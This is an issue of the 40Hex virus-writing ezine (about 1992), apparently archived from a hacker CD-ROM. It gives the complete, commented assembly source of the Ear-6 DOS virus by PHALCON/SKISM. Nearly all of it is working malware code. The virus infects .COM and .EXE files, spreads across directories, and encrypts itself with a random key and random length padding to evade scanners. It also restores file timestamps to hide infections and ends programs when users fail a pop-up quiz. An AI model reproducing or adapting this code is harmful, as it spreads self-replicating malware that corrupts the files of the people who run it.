home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_8.009 < prev    next >
Text File  |  1995-01-03  |  18KB  |  494 lines

  1. 40Hex Number 8 Volume 2 Issue 4                                       File 009
  2.  
  3.                   -=PHALCON/SKISM=- Ear-6 Virus
  4.  
  5.     The Ear-6 is a parasitic, non-resident, .COM & .EXE infector.  It
  6. infects 5 files everytime it is run.  It will traverse towards the root
  7. directory if fewer than 5 files are found.  We have no clue as to what
  8. the 'AUX error' that Patti talks about.  But then again, Patti isn't
  9. sure as to who she is, let alone an accurate discription on one of our
  10. virii.  On activation (1st of any month), it plays ear quiz with
  11. victim.  Failure to answer the question will result in program
  12. termination.
  13.                                         -) Gheap
  14.  
  15. -----------------------------------------------------------------------------
  16. ; [Ear-6]
  17.  
  18. ; El virus de oreja y oído seis
  19. ; Fue escrito por Dark Angel de PHALCON/SKISM
  20. ; Yo (el ángel oscuro) escribí este programa hace muchas semanas.
  21. ; No deba modificar este programa y da a otras personas COMO SI
  22. ; estará el suyo.
  23.  
  24. ; ¿Dónde está mi llama, mama?
  25.  
  26. ;                       diccionarito
  27. ; español       inglés                   magnitud      size
  28. ; abre          open                     mango         handle
  29. ; aprueba       pass (a test)            máscara       mask
  30. ; atras         back                     mensaje       message
  31. ; azado         random                   mes           month
  32. ; busca         find                     montón        heap
  33. ; cierra        close                    oreja, oído   ear
  34. ; cifra         code, encrypt, decrypt   pila          stack
  35. ; codo          pointer                  pregunta      question
  36. ; corto         terse, short             primer        first
  37. ; empieza       begin                    remendar      patch
  38. ; escriba       write                    renuncia      reject
  39. ; español       inglés                   respuesta     answer
  40. ; fecha         date                     salta         exit
  41. ; ficha         file                     siguiente     following, next
  42. ; índice        table                    suspende      fail (a test)
  43. ; ¿le gusta?    do you like?             termina       end
  44. ; longitud      length                   virus         virus (!)
  45.  
  46. .model tiny
  47. .code
  48. org     100h
  49.  
  50. longitud_del_virus = TerminaVir - EmpezarVir
  51. longitud_del_escribir = offset termina_escribir - offset escribir
  52.  
  53. id = 'GH'                                       ; Representa el líder de
  54.                                                 ; PHALCON/SKISM, Garbageheap
  55. Empezar:  db      0e9h, 0, 0                    ; jmp EmpezarVir
  56.  
  57. EmpezarVir:
  58. shwing:
  59. remendar1:
  60.         mov     bx, offset EmpezarCifra
  61. remendar2:
  62.         mov     cx, ((longitud_del_virus + 1) / 2)
  63. hacia_atras:    ; atrás
  64.         db      2eh
  65. remendar3:
  66.         db      81h, 37h, 0, 0                  ; xor word ptr cs:[bx], 0
  67.         add     bx, 2
  68.         loop    hacia_atras
  69. EmpezarCifra:
  70.  
  71.         call    siguiente                       ; Es estupido, pero es corto
  72. siguiente:
  73.         pop     bp
  74.         sub     bp, offset siguiente
  75.  
  76.         mov     byte ptr [bp+numinf], 0
  77.  
  78.         cld                                     ; No es necessario, pero
  79.                                                 ; ¿por qué no?
  80.         cmp     sp, id
  81.         jz      SoyEXE
  82. SoyCOM: mov     di, 100h
  83.         push    di
  84.         lea     si, [bp+Primer3]
  85.         movsb
  86.         jmp     short SoyNada
  87. SoyEXE: push    ds
  88.         push    es
  89.         push    cs
  90.         push    cs
  91.         pop     ds
  92.         pop     es
  93.  
  94.         lea     di, [bp+EXE_Donde_JMP]  ; el CS:IP original de la ficha
  95.         lea     si, [bp+EXE_Donde_JMP2] ; infectada
  96.         movsw
  97.         movsw
  98.         movsw
  99.  
  100.         jmp     short SoyNada
  101.  
  102. NombreDelVirus  db  0,'[Ear-6]',0               ; En inglés, ¡por supuesto!
  103. NombreDelAutor  db  'Dark Angel',0
  104.  
  105. SoyNada:
  106.         movsw
  107.  
  108.         mov     ah, 1ah                         ; Esindicece un DTA nuevo
  109.         lea     dx, [bp+offset nuevoDTA]        ; porque no quiere destruir
  110.         int     21h                             ; el DTA original
  111.  
  112.         mov     ax, word ptr [bp+remendar1+1]
  113.         mov     word ptr [bp+tempo], ax
  114.  
  115.         mov     ah, 47h                         ; Obtiene el directorio
  116.         xor     dl, dl                          ; presente
  117.         lea     si, [bp+diroriginal]
  118.         int     21h
  119.  
  120. looper:
  121.         lea     dx, [bp+offset mascara1]        ; "máscara", no "mascara"
  122.         call    infectar_mascara                ; pero no es possible usar
  123.                                                 ; acentos en MASM/TASM.
  124.                                                 ; ¡Qué lástima!
  125.                                                 ; mascara1 es '*.EXE',0
  126.         lea     dx, [bp+offset mascara2]        ; mascara2 es '*.COM',0
  127.         call    infectar_mascara                ; infecta las fichas de COM
  128.  
  129.         cmp     byte ptr [bp+numinf], 5         ; ¿Ha infectada cinco fichas?
  130.         jg      saltar                          ; Si es verdad, no necesita
  131.                                                 ; busca más fichas.
  132.         mov     ah, 3bh                         ; Cambia el directorio al
  133.         lea     dx, [bp+puntos]                 ; directorio anterior
  134.         int     21h                             ; ('..', 'punto punto')
  135.         jnc     looper
  136.  
  137. saltar: lea     dx, [bp+backslash]              ; Cambia el directorio al
  138.         mov     ah, 3bh                         ; directorio terminado.
  139.         int     21h
  140.  
  141.         mov     ah, 2ah                         ; Activa el primer de
  142.         int     21h                             ; cada mes
  143.         cmp     dl, 1                           ; Si no es el primer,
  144.         jnz     saltarahora                     ; ¡saltar ahora! (duh-o)
  145.  
  146.         mov     ah, 2ch                         ; ¿Qué hora es?
  147.         int     21h
  148.  
  149.         cmp     dl, 85                          ; 85% probabilidad de
  150.         jg      saltarahora                     ; activación
  151.  
  152.         and     dx, 7                           ; Un número quasi-azado
  153.         shl     dl, 1                           ; Usalo para determinar
  154.         mov     bx, bp                          ; que preguntará la virus
  155.         add     bx, dx
  156.         mov     dx, word ptr [bx+indice]        ; índice para el examencito
  157.         add     dx, bp
  158.         inc     dx
  159.         push    dx                              ; Salva el codo al pregunta
  160.  
  161.         mov     ah, 9                           ; Escriba el primer parte de
  162.         lea     dx, [bp+mensaje]                ; la pregunta
  163.         int     21h
  164.  
  165.         pop     dx                              ; Escriba el parte de la oreja
  166.         int     21h                             ; o el oído
  167.         dec     dx
  168.         push    dx                              ; Salva la respuesta correcta
  169.  
  170.         lea     dx, [bp+secciones]              ; Escriba los secciones de la
  171.         int     21h                             ; oreja y el oído
  172.  
  173. trataotrarespuesta:
  174.         mov     ah, 7                           ; Obtiene la respuesta de la
  175.         int     21h                             ; "víctima"
  176.         cmp     al, '1'                         ; Necesita una respuesta de
  177.         jl      trataotrarespuesta              ; uno hasta tres
  178.         cmp     al, '3'                         ; Renuncia otras respuestas
  179.         jg      trataotrarespuesta
  180.  
  181.         int     29h                             ; Escriba la respuesta
  182.  
  183.         pop     bx                              ; El codo al respuesta
  184.                                                 ; correcta
  185.         mov     ah, 9                           ; Prepara a escribir un
  186.                                                 ; mensaje
  187.         cmp     al, byte ptr [bx]               ; ¿Es correcta?
  188.         jz      saltarapidamente                ; Él aprueba el examencito.
  189.                                                 ; Pues, salta rápidamente.
  190.         lea     dx, [bp+suspendido]             ; Lo siento, pero ¡Ud. no
  191.         int     21h                             ; aprueba el examencito fácil!
  192.  
  193.         mov     ah, 4ch                         ; Estudie más y el programa
  194.         jmp     quite                           ; permitirá a Ud a continuar.
  195.  
  196. saltarapidamente:
  197.         lea     dx, [bp+aprueba]
  198.         int     21h
  199. saltarahora:
  200.         mov     ah, 1ah                         ; Restaura el DTA original
  201.         mov     dx, 80h
  202. quite:
  203.         cmp     sp, id - 4                      ; ¿Es EXE o COM?
  204.         jz      vuelvaEXE
  205. vuelvaCOM:
  206.         int     21h                             ; Restaura el DTA y vuelva
  207.         retn                                    ; a la ficha original de COM
  208.  
  209. vuelvaEXE:
  210.         pop     es
  211.         pop     ds                              ; ds -> PSP
  212.  
  213.         int     21h
  214.  
  215.         mov     ax, es
  216.         add     ax, 10h                         ; Ajusta para el PSP
  217.         add     word ptr cs:[bp+EXE_Donde_JMP+2], ax
  218.         cli
  219.         add     ax, word ptr cs:[bp+PilaOriginal+2]
  220.         mov     ss, ax
  221.         mov     sp, word ptr cs:[bp+PilaOriginal]
  222.         sti
  223.         db      0eah                            ; JMP FAR PTR SEG:OFF
  224. EXE_Donde_JMP dd 0
  225. PilaOriginal  dd 0
  226.  
  227. EXE_Donde_JMP2  dd 0
  228. PilaOriginal2   dd 0
  229.  
  230. infectar_mascara:
  231.         mov     ah, 4eh                         ; Busca la ficha primera
  232.         mov     cx, 7                           ; Cada atributo
  233. brb_brb:
  234.         int     21h
  235.         jc      hasta_la_vista_bebe             ; No la busca
  236.  
  237.         xor     al, al
  238.         call    abrir                           ; Abre la ficha
  239.  
  240.         mov     ah, 3fh
  241.         mov     cx, 1ah
  242.         lea     dx, [bp+buffer]
  243.         int     21h
  244.  
  245.         mov     ah, 3eh                         ; Cierra la ficha
  246.         int     21h
  247.  
  248.         lea     si,[bp+nuevoDTA+15h]            ; Salva cosas sobre la ficha
  249.         lea     di,[bp+f_atrib]                 ; Por ejemplo, la fecha de
  250.         mov     cx, 9                           ; creación
  251.         rep     movsb
  252.  
  253.         cmp     word ptr [bp+buffer], 'ZM'      ; ¿Es EXE o COM?
  254.         jz      buscaEXE
  255. buscaCOM:
  256.         mov     ax, word ptr [bp+f_long]        ; ¿Cuan grande es la ficha?
  257.         sub     ax, longitud_del_virus + 3      ; Adjusta para el JMP
  258.         cmp     ax, word ptr [bp+buffer+1]      ; ¿Ya es infectada?
  259.         jnz     infecta_mi_burro                ; "infect my ass"
  260.         jmp     short BuscaMas
  261. buscaEXE:
  262.         cmp     word ptr [bp+buffer+10h], id
  263.         jnz     infecta_mi_burro
  264. BuscaMas:
  265.         mov     ah, 4fh                         ; Busca otra ficha...
  266.         jmp     short brb_brb
  267. hasta_la_vista_bebe:                            ; ¿Le gusta Arnold?
  268.         ret
  269.  
  270. infecta_mi_burro:
  271.         ; AX = longitud de la ficha infectada
  272.         lea     si, [bp+buffer]
  273.  
  274.         cmp     word ptr [si], 'ZM'
  275.         jz      InfectaEXE
  276. InfectaCOM:
  277.         push    ax
  278.  
  279.         mov     cx, word ptr [bp+tempo]
  280.         mov     word ptr [bp+remendar1+1], cx
  281.  
  282.         lea     di, [bp+Primer3]
  283.         movsb
  284.         push    si
  285.         movsw
  286.  
  287.         mov     byte ptr [bp+buffer], 0e9h
  288.         pop     di
  289.         add     ax, longitud_del_virus
  290.         stosw
  291.  
  292.         mov     cx, 3
  293.         jmp     short   TerminaInfeccion
  294. InfectaEXE:
  295.         les     ax, [si+14h]                    ; Salva el original empieza
  296.         mov     word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
  297.         mov     word ptr [bp+EXE_Donde_JMP2+2], es
  298.  
  299.         les     ax, [si+0Eh]                    ; Salva la original locación
  300.         mov     word ptr [bp+PilaOriginal2], es ; de la pila
  301.         mov     word ptr [bp+PilaOriginal2+2], ax
  302.  
  303.         mov     ax, word ptr [si + 8]
  304.         mov     cl, 4
  305.         shl     ax, cl
  306.         xchg    ax, bx
  307.  
  308.         les     ax, [bp+offset nuevoDTA+26]
  309.         mov     dx, es
  310.         push    ax
  311.         push    dx
  312.  
  313.         sub     ax, bx
  314.         sbb     dx, 0
  315.  
  316.         mov     cx, 10h
  317.         div     cx
  318.  
  319.         mov     word ptr [si+14h], dx           ; Nuevo empieza CS:IP
  320.         mov     word ptr [si+16h], ax
  321.  
  322.         mov     cl, 4
  323.         shr     dx, cl
  324.         add     ax, dx
  325.         mov     word ptr [si+0Eh], ax           ; y SS:SP
  326.         mov     word ptr [si+10h], id
  327.  
  328.         pop     dx                              ; Restaura el magnitud de
  329.         pop     ax                              ; la ficha
  330.  
  331.         add     ax, longitud_del_virus          ; Añada el magnitud del virus
  332.         adc     dx, 0
  333.         mov     cl, 9
  334.         push    ax
  335.         shr     ax, cl
  336.         ror     dx, cl
  337.         stc
  338.         adc     dx, ax
  339.         pop     ax
  340.         and     ah, 1
  341.  
  342.         mov     word ptr [si+4], dx             ; Nuevo magnitud de la ficha
  343.         mov     word ptr [si+2], ax
  344.  
  345.         push    cs
  346.         pop     es
  347.  
  348.         mov     ax, word ptr [si+14h]
  349.         sub     ax, longitud_del_virus + offset Empezarvir
  350.         push    ax
  351.  
  352.         mov     cx, 1ah
  353. TerminaInfeccion:
  354.         mov     al, 2
  355.         call    abrir
  356.  
  357.         mov     ah, 40h
  358.         lea     dx, [bp+buffer]
  359.         int     21h
  360.  
  361.         mov     ax, 4202h
  362.         xor     cx, cx
  363.         cwd                                     ; xor dx,dx
  364.         int     21h
  365.  
  366.         mov     ah, 2ch                         ; Números azados en CX y DX
  367.         int     21h
  368.         mov     word ptr [bp+remendar3+2], cx   ; Es el nuevo número de la
  369.                                                 ; cifra
  370.         and     cx, 31                          ; Pone un número azado para el
  371.         add     cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha.  Por
  372.                                                 ; eso, los scanners necesitan
  373.         mov     word ptr [bp+remendar2+1], cx   ; usar "wildcards"
  374.         lea     di, [bp+tempstore]
  375.         mov     al, 53h                         ; push bx
  376.         stosb                                   ; (no destruir el mango de la
  377.                                                 ;  ficha)
  378.         lea     si, [bp+shwing]                 ; Copia las instrucciones
  379.         push    si                              ; para formar la cifra
  380.         mov     cx, longitud_de_la_cifra
  381.         push    cx
  382.         rep     movsb
  383.  
  384.         mov     al, 5bh                         ; pop bx
  385.         stosb                                   ; (recuerda mango de la ficha)
  386.  
  387.         lea     si, [bp+escribir]               ; Copia las instrucciones
  388.         mov     cx, longitud_del_escribir       ; para añada el virus a la
  389.         rep     movsb                           ; ficha
  390.  
  391.         mov     al, 53h                         ; push bx
  392.         stosb
  393.  
  394.         pop     cx                              ; Copia las instrucciones
  395.         pop     si                              ; para invalidar la cifra
  396.         rep     movsb
  397.         mov     ax, 0c35bh                      ; pop bx, retn
  398.         stosw
  399.  
  400.         pop     ax
  401.  
  402.         ; Codo del comienzo de la cifra
  403.         add     ax, offset EmpezarCifra + longitud_del_virus
  404.         mov     word ptr [bp+remendar1+1], ax
  405.  
  406.         call    antes_del_tempstore
  407.  
  408.         mov     ax, 5701h                       ; BX = mango de la ficha
  409.         mov     dx, word ptr [bp+f_fecha]
  410.         mov     cx, word ptr [bp+f_hora]
  411.         int     21h                             ; Restaura fecha y hora
  412.  
  413.         mov     ah, 3eh
  414.         int     21h
  415.  
  416.         xor     ch, ch
  417.         mov     cl, byte ptr [bp+f_atrib]
  418.         mov     ax, 4301h
  419.         lea     dx, [bp+offset nuevoDTA + 30]     ; Busca un ficha en el DTA
  420.         int     21h
  421.  
  422.         inc     byte ptr [bp+numinf]
  423.  
  424.         jmp     BuscaMas
  425.  
  426. Primer3  db 0CDh, 20h, 0
  427. puntos   db '..',0
  428. mascara1 db '*.EXE',0
  429. mascara2 db '*.COM',0
  430.  
  431. abrir:  mov     ah, 3dh                         ; Abrir un ficha
  432.         lea     dx, [bp+nuevoDTA+30]            ; Nombre de la ficha es en
  433.         int     21h                             ; el DTA
  434.         xchg    ax, bx
  435.         ret
  436.  
  437. indice  dw      offset oreja1, offset oreja2, offset oreja3, offset oreja4
  438.         dw      offset oreja5, offset oreja6, offset oreja4, offset oreja1
  439. oreja1  db      '1','Auditory Canal$'
  440. oreja2  db      '1','Lobe$'
  441. oreja3  db      '2','Anvil$'
  442. oreja4  db      '2','Eustachian Tube$'
  443. oreja5  db      '3','Auditory Nerve$'
  444. oreja6  db      '3','Cochlea$'
  445.  
  446. mensaje db      'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
  447. secciones db    ' located?',13,10
  448.         db      ' 1. External Ear',13,10
  449.         db      ' 2. Middle Ear',13,10
  450.         db      ' 3. Inner Ear',13,10,'( )',8,8,'$'
  451.  
  452. ; No es bueno.
  453. suspendido db   13,10,'You obviously know nothing about ears.'
  454.         db      13,10,'Try again after some study.',13,10,'$'
  455.  
  456. ; ¡Espero que sí!
  457. aprueba db      13,10,'Wow, you know your ears!  Please resume work.',13,10
  458.         db      '$'
  459.  
  460. escribir:
  461.         mov     ah, 40h
  462.         mov     cx, TerminaVir - EmpezarVir
  463.         lea     dx, [bp+EmpezarVir]
  464.         int     21h
  465. termina_escribir:
  466.  
  467. backslash db '\'
  468.  
  469. TerminaVir = $
  470.  
  471. ; Los que sigue son en el montón...
  472. longitud_de_la_cifra = offset EmpezarCifra - offset shwing
  473.  
  474. diroriginal db 64 dup (?)
  475. tempo       dw ?
  476. nuevoDTA    db 43 dup (?)
  477. numinf      db ?
  478. antes_del_tempstore:
  479. ; tempstore es el buffer para el parte del programa que añada el virus al fin
  480. ; de otro programa
  481. tempstore   db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
  482.                                                 ; añada cinco para los pop,
  483.                                                 ; los push, y el retn
  484. buffer      db 1ah dup (?)
  485. f_atrib     db      ?                           ; atributo de la ficha
  486. f_hora      dw      ?                           ; hora de creación
  487. f_fecha     dw      ?                           ; fecha de creación
  488. f_long      dd      ?                           ; magnitud de la ficha
  489.  
  490.         end     Empezar
  491.  
  492.  
  493. Downloaded From P-80 International Information Systems 304-744-2253
  494.